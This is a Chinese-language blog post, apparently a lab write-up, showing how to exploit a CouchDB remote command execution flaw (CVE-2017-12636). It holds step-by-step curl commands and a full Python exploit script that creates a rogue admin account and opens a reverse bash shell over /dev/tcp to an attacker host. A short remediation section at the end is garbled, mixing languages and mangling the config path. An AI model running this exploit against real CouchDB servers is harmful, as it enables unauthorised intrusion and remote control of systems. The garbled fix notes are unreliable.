这篇文章上次修改于 1139 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
0x0 CoucHDB数据库安装
CouchHDB官网:http://couchdb.apache.org/
一路NEXT直到安装完成,打开浏览器访问如下链接:http://127.0.0.1:5984/
CouchDB Web界面交互页面:http://127.0.0.1:5984/ _UTILS
0x1 漏洞利用
1. 添加Query_Server配置写入要执行的命令;
curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
2. 新建临时库和临时表,插入一条记录;
curl -X PUT 'http://username:password@your-ip:5984/vultest'
curl -X PUT 'http://username:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
3.调用 Query_Server 处理数据
curl -X POST 'http://username:password@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
执行后可以看到指定的命令已经执行成功:
0x2 Python利用脚本
修改Target和Command参数,然后修改Version为对应的couk版本,成功反弹。
参考:https://github.com/vulhub/vulhub/blob/master/couchdb/cve-2017-12636/exp.py
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth
target = 'http://192.168.8.148:5984'
command = '"bash -i >& /dev/tcp/192.168.8.148/4444 0>&1"'
version = 2
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
0x3 修复方法
修改couchdb配置文件:etccouchdbdefault.ini
port = 5984 CouchDB port number
bind_address = 0.0.0.0 CouchDB IP address if set to 127 here.0.0.1Then the outer network cannot be accessed.
max_connections = 2048 Maximum number of couches
database_dir = ../var/lib/CouchDB Data File Directory
view_index_dir = ../var/lib/CoucHDB index file directory
util_driver_dir = ../lib/couch-1.0.1/priv/LIB Driver file directory
file = ../var/log/couchdb/Couch.log log file
level = INFO log level
没有评论